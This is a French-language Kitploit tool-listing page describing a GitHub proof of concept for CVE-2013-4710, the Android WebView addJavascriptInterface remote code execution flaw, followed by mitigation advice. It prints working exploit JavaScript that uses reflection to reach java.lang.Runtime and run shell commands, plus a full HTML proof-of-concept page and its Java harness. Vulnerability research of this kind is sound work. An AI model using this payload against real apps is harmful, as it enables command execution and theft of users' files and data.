Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2013-4710-WebView-RCE-Vulnerability — Android 3.0 à 4.1.x sur Disney Mobile, eAccess, KDDI, NTT DOCOMO, SoftBank et d'autres appareils n'implémente pas correctement la classe WebView, ce qui permet à des attaquants distants d'exécuter des méthodes arbitraires d'objets Java ou de provoquer un déni de service (redémarrage) via une page Web conçue, comme démontré par l'utilisation de la méthode WebView.addJavascriptInterface, un problème lié à CVE-2012-6636. | Kitploit
Outils/GitHubGitHub/snip3r69/cve-2013-4710-webview-rce-vulnerability
Sécurité AndroidAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité MobileDéveloppement de Charges Utiles
GitHubsnip3r69/cve-2013-4710-webview-rce-vulnerability

CVE-2013-4710-WebView-RCE-Vulnerability

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Voir le dépôt
12il y a 4 ansPas encore vérifié

Android 3.0 à 4.1.x sur Disney Mobile, eAccess, KDDI, NTT DOCOMO, SoftBank et d'autres appareils n'implémente pas correctement la classe WebView, ce qui permet à des attaquants distants d'exécuter des méthodes arbitraires d'objets Java ou de provoquer un déni de service (redémarrage) via une page Web conçue, comme démontré par l'utilisation de la méthode WebView.addJavascriptInterface, un problème lié à CVE-2012-6636.

Partager

CVE-2013-4710-WebView-RCE-Vulnérabilité

Description de la vulnérabilité

Souvent, nous utilisons WebView pour afficher une page Web. Par exemple, de nombreuses applications, afin de réaliser le contrôle du serveur, affichent des pages de résultats sous forme de page Web plutôt que de mise en œuvre locale. Cela présente de nombreux avantages, comme le fait que les changements d'interface ne nécessitent pas de publier une nouvelle version ; il suffit de modifier directement la ligne côté serveur. Lorsque l'on utilise une page Web pour afficher une interface, il y a généralement plus ou moins d'interaction avec le code Java. Par exemple, lorsqu'on clique sur un bouton dans la page Web, nous avons besoin de connaître l'événement de clic, ou nous devons appeler une méthode pour que la page exécute une action. Pour réaliser ces interactions, nous utilisons généralement JS, et WebView fournit une telle méthode. L'utilisation spécifique est la suivante :

root@kitploit:~
mWebView.getSettings().setJavaScriptEnabled(true);  
    mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");

Nous demandons à WebView d'enregistrer un objet nommé 'jsInterface', puis nous pouvons accéder à l'objet jsInterface en JavaScript, invoquer certaines méthodes de cet objet, et finalement appeler du code Java, réalisant ainsi l'interaction entre JS et le code Java. Nous allons jeter un coup d'œil ensemble à la description de la méthode addJavascriptInterface sur le site Android :

Cette méthode peut être utilisée pour permettre à JavaScript de contrôler l'application hôte. Il s'agit d'une fonctionnalité puissante, mais elle présente également un risque de sécurité pour les applications ciblant le niveau d'API JELLYBEAN ou inférieur, car JavaScript pourrait utiliser la réflexion pour accéder aux champs publics d'un objet injecté. L'utilisation de cette méthode dans un WebView contenant du contenu non fiable pourrait permettre à un attaquant de manipuler l'application hôte de manière inattendue, en exécutant du code Java avec les autorisations de l'application hôte. Soyez extrêmement prudent lorsque vous utilisez cette méthode dans un WebView qui pourrait contenir du contenu non fiable.

JavaScript interagit avec l'objet Java sur un thread privé en arrière-plan de ce WebView. Il faut donc veiller à maintenir la sécurité des threads. Les champs de l'objet Java ne sont pas accessibles.

En termes simples, utiliser addJavascriptInterface peut entraîner une insécurité, car JS peut contenir du code malveillant. Cette faille est ce dont nous voulons parler aujourd'hui : lorsque JS contient du code malveillant, il peut faire n'importe quoi.


Impact de la vulnérabilité :

Via JavaScript, tout peut accéder à la carte SD du périphérique, et même aux contacts, SMS, etc. C'est dégoûtant, canard.

  1. WebView ajoute un objet JavaScript, et l'application actuelle possède les autorisations de lecture et d'écriture sur la carte SD, ou : android.permission.WRITE_EXTERNAL_STORAGE

  2. Via l'objet window dans JS, on peut trouver la méthode 'getClass' de l'objet, puis via le mécanisme de réflexion, obtenir l'objet Runtime, puis appeler la méthode statique pour exécuter certaines commandes, comme la commande d'accès aux fichiers.

  3. La chaîne renvoyée par le flux d'entrée de la commande exécutée permet d'obtenir les informations du nom de fichier. Ensuite, vous pouvez faire ce que vous voulez, bon risque. Le code JS central est le suivant :

    root@kitploit:~
      function execute(cmdArgs)  
     {  
         for (var obj in window) {  
            if ("getClass" in window[obj]) {  
             alert(obj);  
             return  window[obj].getClass().forName("java.lang.Runtime")  
                  .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
           }  
        }  
    }   
    

Exploitation

Pour prouver cette faille, je charge simplement un code JS malveillant d'une page Web locale. Le code HTML est le suivant :

root@kitploit:~
<html>  
  <head>  
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  
    <script>  
      var i=0;  
      function getContents(inputStream)  
      {  
        var contents = ""+i;  
        var b = inputStream.read();  
        var i = 1;  
        while(b != -1) {  
            var bString = String.fromCharCode(b);  
            contents += bString;  
            contents += "\n"  
            b = inputStream.read();  
        }  
        i=i+1;  
        return contents;  
       }  
        
       function execute(cmdArgs)  
       {  
        for (var obj in window) {  
            console.log(obj);  
            if ("getClass" in window[obj]) {  
                alert(obj);  
                return window[obj].getClass().forName("java.lang.Runtime").  
                    getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
             }  
         }  
       }   
        
      var p = execute(["ls","/mnt/sdcard/"]);  
      document.write(getContents(p.getInputStream()));  
    </script>  
  
    <script language="javascript">  
      function onButtonClick()   
      {  
        // Call the method of injected object from Android source.  
        var text = jsInterface.onButtonClick("Text passed in from the JS!!!");  
        alert(text);  
      }  
  
      function onImageClick()   
      {  
        //Call the method of injected object from Android source.  
        var src = document.getElementById("image").src;  
        var width = document.getElementById("image").width;  
        var height = document.getElementById("image").height;  
  
        // Call the method of injected object from Android source.  
        jsInterface.onImageClick(src, width, height);  
      }  
    </script>  
  </head>  
  
  <body>  
      <p>Click on the image to the URL to Java code</p>  
        
    </p>  
    <button type="button" onclick="onButtonClick()">Interaction with the Java code</button>  
  </body>  
</html>  
  1. Veuillez voir la méthode execute(), qui parcourt tous les objets de window, trouve un objet avec une méthode getClass, utilise la classe de cet objet, trouve l'objet java.lang.Runtime, puis appelle la méthode statique 'getRuntime' pour obtenir une instance de Runtime, puis appelle la méthode exec() pour exécuter une commande.
  2. La méthode getContents() lit depuis le flux et affiche dans l'interface.
  3. Le code clé est dans la phrase suivante :

return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

Le code Java est le suivant :

root@kitploit:~
mWebView = (WebView) findViewById(R.id.webview);  
mWebView.getSettings().setJavaScriptEnabled(true);  
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");  
mWebView.loadUrl("file:///android_asset/html/test.html");  

Ajouter les autorisations nécessaires :

root@kitploit:~
<uses-permission android:name="android.permission.INTERNET"/>  
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />  
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />  

Atténuation

  • Système Android 4.2 ou supérieur Sous Android 4.2 ou supérieur, Google a modifié la déclaration de la méthode Java distante avec @JavascriptInterface, comme dans le code suivant :

    class JsObject {
    @JavascriptInterface
    public String toString() { return "injectedObject"; }
    }
    webView.addJavascriptInterface(new JsObject(), "injectedObject");
    webView.loadData("", "text/html", null);
    webView.loadUrl("javascript:alert(injectedObject.toString())");

  • Système Android 4.2 et inférieur

Ce problème est difficile à résoudre, voire impossible. Tout d'abord, il ne faut pas appeler la méthode addJavascriptInterface. Sur ce point, le cœur du problème est de connaître l'action de l'événement JS. Comme nous le savons, JS interagit avec Java de plusieurs manières, comme prompt, alert, etc. Ces actions correspondent à la méthode de WebChromeClient. La classe correspondante pour prompt correspond à la méthode onJsPrompt. La déclaration de cette méthode est la suivante :

root@kitploit:~
public boolean onJsPrompt(WebView view, String url, String message,   
    String defaultValue, JsPromptResult result)  

Par cette méthode, JS peut transférer des informations (texte) à Java, et Java peut également obtenir des informations (texte) transmises à JS.

Télécharger l’outil